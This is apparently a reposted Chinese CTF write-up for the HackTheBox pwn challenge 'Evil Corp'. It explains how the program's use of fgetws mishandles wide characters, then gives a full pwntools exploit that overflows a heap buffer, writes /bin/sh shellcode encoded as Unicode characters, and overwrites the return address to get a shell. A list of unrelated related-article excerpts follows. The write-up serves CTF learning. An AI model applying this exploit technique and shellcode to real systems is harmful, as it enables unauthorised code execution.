HTB pwn Evil Corp

news2024/11/28 20:41:16

程序分析

在这里插入图片描述
初始化功能
申请了一块正常块和一块可以执行shellcode的空间

在这里插入图片描述
登录
在这里插入图片描述
向正常块写入数据
在这里插入图片描述
字符宽度转换

漏洞分析

所有的输入都使用了fgetws函数这个函数,这个函数会把整个串的每一个字符按最低两个宽来接收输入,如果存在unicode32等等更宽的字符这个函数会把每个字符都按最宽字符的宽度拓展。
例如:
‘a’ 总共占2个字节
‘a’ + '\u1111’总共占4个字节
‘a’ + '\U00000000’总共占8个字节
在这里插入图片描述
在这里插入图片描述
第二个函数是向正常块复制数据但是由于使用了fgetws实际上在空间中就会占用至少0x2000个字节又因为正常块大0x1000字节所以只需要输入0x800个ASCII就可以覆盖完正常块,接下来将shellcode两两一组编成unicode16传输就可以被程序正常接收了。
在这里插入图片描述
成功覆盖出正常块并且写入shellcode到可执行块上
在这里插入图片描述
这边也同理我们可以使用ASCII来多占空间完成栈溢出,最后可以使用unicode32字符一次性占4个字节完成地址覆盖。

exp

from pwn import *
context.arch = 'amd64'
def gd():
 gdb.attach(p)
 pause()
def login():
 p.recvuntil(b'Username: ')
 p.sendline(b'eliot') 
 p.recvuntil(b'Password: ')
 p.sendline(b'4007')
def logout():
 p.recvuntil(b">> ")
 p.sendline(b'3') 
def login1(data):
 p.recvuntil(b'Username: ')
 p.sendline(b'eliot') 
 p.recvuntil(b'Password: ')
 p.sendline(data) 
def input(data):
 p.recvuntil(b">> ")
 p.sendline(b'2')
 sleep(0.1)
 p.sendline(data)
p = process("./evil-corp")
#p = remote("94.237.54.75",54453)
login()
shellcode='\u686a\ub848\u622f\u6e69\u2f2f\u732f\u4850\ue789\u7268\u0169\u8101\u2434\u0101\u0101\uf631\u6a56\u5e08\u0148\u56e6\u8948\u31e6\u6ad2\u583b\u050f'
input('a'*0x800 + shellcode)
logout()
login1('a' * 0x56 + '\U00011000' + '\x00\x00')#0x56 * 4 = 0x158

p.interactive() 

成功getshell
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1450371.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

积分(一)——复化梯形积分(C++)

梯形积分 设f(x)在[a,b]上连续,若要计算其积分,则 ∫ a b f ( x ) d x F ( b ) − F ( a ) \int_a^b f(x)dx F(b) - F(a) ∫ab​f(x)dxF(b)−F(a) 其中F(x)为f(x)的原函数,但是计算机直接计算出该积分函数比较困难,因此需要近…

六、Datax通过json字符串运行

Datax通过json字符串运行 一、场景二、代码实现 一、场景 制作一个web应用,在页面上配置一个json字符串,保存在数据库里面。在执行json的时候,动态在本地创建一个json文件后执行,并识别是否成功,将执行过程保存在数据…

fgets的使用方法详解

fgets的使用 文章目录 fgets的使用前言(吹水,不看也罢)fgets 的基本语法使用示例fgets() 对输入的处理的特点gets() 与 fgets() 的主要区别 总结 前言(吹水,不看也罢) 鼠鼠今天在B站上大学的时候&#xff…

离散傅里叶变换

目标 我们将寻求以下问题的答案: 什么是傅里叶变换,为什么要使用它?如何在OpenCV中做到这一点?使用以下函数:copyMakeBorder() , merge() , dft…

蓝桥杯:C++排列与组合

排列是暴力枚举时的常见操作。有以下两种情况。 C的 next_permutation()是全排列函数,只能输出序列中所有元素的全排列。 本节将给出手写排列和组合的代码。因为在很多场合中不能使用系统自带的排列函数,所以需要自己编写。 全排列函数:nex…

Lag-Llama:第一个时间序列预测的开源基础模型介绍和性能测试

2023年10月,我们发表了一篇关于TimeGPT的文章,TimeGPT是时间序列预测的第一个基础模型之一,具有零样本推理、异常检测和共形预测能力。 虽然TimeGPT是一个专有模型,只能通过API访问。但是它还是引发了对时间序列基础模型的更多研…

读十堂极简人工智能课笔记03_遗传算法与进化

1. 寻找正确答案 1.1. 卡尔西姆斯 1.1.1. 计算机图形艺术家和研究者 1.1.2. 演示过数字进化之创造性和新颖性的先驱 1.1.3. 1994年 1.1.3.1. 创造一批能游泳、走路、跳跃,甚至互相竞争的虚拟动物震惊了整个科学界 1.1.3.2. 它们的人工大脑却是个极其复杂的网络…

公需课考试怎么搜题找答案?推荐你使用这5个公众号和工具 #知识分享#其他#知识分享

大学生必备,这条笔记大数据一定定要推给刚上大学的学弟学妹!! 1.快练题 这是一个网站 找题的网站海量题库,在线搜题,快速刷题~为您提供百万优质题库,直接搜索题库名称,支持多种刷题模式:顺序练习、语音听题、本地搜题、顺序阅读、模拟考试…

Leetcode-1572. 矩阵对角线元素的和

题目: 给你一个正方形矩阵 mat,请你返回矩阵对角线元素的和。 请你返回在矩阵主对角线上的元素和副对角线上且不在主对角线上元素的和。 示例 1: 输入:mat [[1,2,3],[4,5,6],[7,8,9]] 输出:25 解释:对角线…

解决ucore实验qemu不断重启问题

解决 ucore 实验 qemu 不断重启问题 做清华大学操作系统 ucore 实验 (x86版本),实验一编译后运行 qemu 发现系统不断重启,无法正常运行 kernel。实验环境是 ubuntu 22.04,gcc 11.4.0,ld 2.38。最终查证是链接脚本 kernel.ld 导致…

Docker 在window 2024版笔记 下载 安装 操作 配置

---Docker 前言--- Docker windows版官方版是一款专业开源的应用容器引擎,可以加快用户构建、共享和运行现代应用程序的速度,支持运行Linux和Windows Docker容器。 Docker 在容器的基础上,进行了进一步的封装,从文件系统、网络互…

[office] excel2016怎么求最大值和最小值 #职场发展#知识分享

excel2016怎么求最大值和最小值 excel求最大值最小值步骤: 1、鼠标左键双击计算机桌面Excel2016程序图标,将其打开运行。在打开的Excel2016程序窗口,点击“打开其他工作簿”选项,打开需要进行编辑的Excel工作表。如图所示; 2、在打…

SpringCloud-搭建Nacos配置中心

一、Nacos 功能介绍 Nacos(Dynamic Naming and Configuration Service)是阿里巴巴开源的一个分布式服务注册、配置管理,以及服务健康管理平台。在微服务架构中,配置管理是至关重要的一环,Nacos 提供了可靠、动态的配置…

python-分享篇-GUI界面开发-PyQt5-禁止窗体显示最大化按钮及调整窗体大小

代码 # -*- coding: utf-8 -*-# Form implementation generated from reading ui file nochange.ui # # Created by: PyQt5 UI code generator 5.11.3 # # WARNING! All changes made in this file will be lost! 禁止窗体显示最大化按钮及调整窗体大小from PyQt5 import QtCo…

开局托儿所

一,游戏规则 示例: 9549366345591582732535371762455786747469134955224161766515693255444341522757146691483635716392362557418825198461525396798798225943422864547928724689891326449758 二,贪心算法 我们先用贪心算法试一下&#xf…

wordpress好的网站主题

有什么好的网站主题,都分享在这里了。 蓝色风格的wordpress模板,好的wordpress网站主题,需要既好看,又好用。 https://www.zhanyes.com/qiye/6305.html 血红色的好看的wordpress主题,布局经典,设计好的&am…

Vue2学习第二天

Vue2 学习第二天 1. 数据绑定 Vue 中有 2 种数据绑定的方式: 单向绑定(v-bind):数据只能从 data 流向页面。双向绑定(v-model):数据不仅能从 data 流向页面,还可以从页面流向 data。 备注: 双向绑定一般都应用在表单…

大学生画图搜题答案神器?一键查询完备大学题库 #知识分享#经验分享#学习方法

大学生必备的搜题工具,专业课本习题、电子版教材、考研资料、英语四六级等考试题目也能一并搜索,每道题目都有详细的讲解,每个都堪称大学神器。 1.试题易 这是一个网站 涵盖初高中/大学/专升本/考研&…

python视频播放列表信息库之m3u8使用详解

m3u8库是什么? m3u8是一个用于解析和操作M3U8文件的Python库。M3U8文件,是指使用UTF-8编码格式的M3U文件,它们通常用于播放列表文件,尤其是在HTTP Live Streaming(HLS)中。简单来说,m3u8库能帮…

嵌入式中I2C 相关的硬件问题汇总及死锁解决办法

本文主要介绍如何解决I2C设备硬件设计上的各种问题,希望对大家有所帮助! 关于I2C协议详细的讲解,可以参考之前的推文:全面解析 I2C 通信协议 一般情况下, i2c 设备焊接没什么问题,按照设备手册一步步来&a…